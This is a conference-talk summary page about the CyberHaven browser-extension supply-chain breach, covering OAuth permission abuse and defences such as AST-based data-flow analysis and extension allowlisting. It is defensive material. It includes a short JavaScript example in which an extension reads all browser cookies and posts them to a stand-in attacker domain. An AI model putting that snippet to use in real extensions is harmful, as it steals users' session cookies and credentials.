Kuboid
Open Luck·Kuboid.in
Security BSides2025
Open in YouTube ↗

Shadow IT Battlefield: The CyberHaven Breach and Defenses

Security BSides San Francisco59 views30:535 months ago

This talk details a supply-chain attack where a malicious version of a browser extension was uploaded to the Chrome Web Store, exploiting implicit trust in extension reviews. The attack leveraged OAuth permission abuse to gain persistent access to user data, highlighting the risks of browser-based extensions in enterprise environments. The speakers demonstrate a defensive strategy using automated Abstract Syntax Tree (AST) analysis to monitor extension code for suspicious data flows. They also discuss implementing strict allowlisting policies for both browser extensions and OAuth applications to mitigate similar risks.

Browser Extensions Are the New Supply Chain Backdoor

TLDR: A recent supply-chain attack demonstrated how malicious browser extensions can bypass security reviews to gain persistent OAuth access to enterprise data. By abusing implicit trust in the Chrome Web Store, attackers can exfiltrate sensitive information through seemingly benign tools. Security teams must move beyond simple allowlisting and implement automated code analysis to detect suspicious data flows in their extension fleet.

Browser extensions have become a massive, often overlooked, blind spot in modern enterprise security. We spend countless hours hardening our cloud infrastructure and locking down identity providers, yet we routinely allow employees to install third-party code that runs with the same privileges as the user. The recent breach at CyberHaven is a wake-up call for anyone who thinks browser-based security is just a matter of keeping the browser updated.

The attack vector here is classic supply-chain compromise, but executed with surgical precision. Attackers didn't just drop a payload; they weaponized the trust model of the Chrome Web Store. By submitting a malicious version of a legitimate extension, they bypassed the initial security review process. Once installed, the extension requested broad OAuth permissions, which the user granted without a second thought. This granted the attacker an access token, effectively turning the browser into a persistent, high-privilege foothold inside the corporate network.

The Mechanics of OAuth Abuse

The core of this attack relies on OAuth 2.0 permission abuse. When a user installs an extension, they are often presented with a permission prompt that looks standard. If the extension is masquerading as a productivity tool, the user expects it to need access to their browser data. The attacker, however, uses that access to make API calls to the Chrome Web Store or other services, effectively exfiltrating data or pushing further malicious updates.

In the CyberHaven case, the attackers abused the implicit trust that security teams place in extensions that have passed the Google review process. Because the extension code had only minimal changes from the legitimate version, it likely sailed through the automated review. For a pentester, this is a goldmine. If you are performing an engagement, don't just look for XSS or SQLi. Look at the extensions installed on the target's machine. Are they using extensions that have been updated recently? Do those extensions have permissions that exceed their stated functionality?

Detecting Malicious Data Flows

Static analysis of browser extensions is notoriously difficult because of code obfuscation and the sheer volume of JavaScript involved. However, the most effective way to identify a malicious extension is to track how it handles sensitive data. You need to identify the "source" of the data—like cookies, browser history, or open tabs—and the "sink" where that data is sent.

Using tree-sitter to generate an Abstract Syntax Tree (AST) allows you to parse the extension's JavaScript and map these data flows. If you see a function that reads browser cookies and then makes a fetch or XMLHttpRequest call to an external, non-whitelisted domain, you have found your smoking gun.

// Simplified example of a suspicious data flow
chrome.cookies.getAll({}, function(cookies) {
  fetch('https://attacker-controlled-domain.com/log', {
    method: 'POST',
    body: JSON.stringify(cookies)
  });
});

This is not just a theoretical risk. During the research, the team identified multiple extensions in the wild that were attempting to steal cookies and browsing history. If you are building a defensive pipeline, you should be automating this analysis. Every time an extension in your environment updates, your CI/CD pipeline should pull the new version, parse the AST, and flag any unauthorized data exfiltration attempts.

Moving Toward a Zero-Trust Browser

Defending against this requires a shift in mindset. You cannot rely on the vendor to vet every line of code. You must implement a strict allowlist policy for both browser extensions and OAuth applications. This is not just about blocking; it is about visibility. You need to know exactly what is running in your environment.

Start by auditing your current extension fleet. Use the Google Workspace Admin SDK to pull a list of all installed extensions across your organization. You will likely be surprised by the number of "productivity" tools that have been installed without any oversight. Once you have the list, prune it. If an extension doesn't have a clear business use case, remove it.

For the extensions that remain, you need to enforce a policy where new requests for extensions or OAuth permissions are treated as a security review. This is where the "Trust, But Verify" mantra becomes critical. You trust the vendor, but you verify the code. If a user requests a new extension, your team should be able to quickly analyze its permissions and, if necessary, perform a manual code review.

The browser is the primary interface for almost every modern business application. If you aren't treating the browser as a critical part of your attack surface, you are leaving the door wide open. Don't wait for a breach to start auditing your extensions. Start by identifying what is currently running, and then build the automation to ensure that only the code you have vetted can access your users' data. The battlefield is no longer just the server; it is the browser, and it is time we started defending it like one.

Talk Type
talk
Difficulty
intermediate
Has Demo Has Code Tool Released


BSidesSF 2025

94 talks · 2025
Browse conference →
Premium Security Audit

We break your app before they do.

Professional penetration testing and vulnerability assessments by the Kuboid Secure Layer team. Securing your infrastructure at every layer.

Get in Touch
Official Security Partner
kuboid.in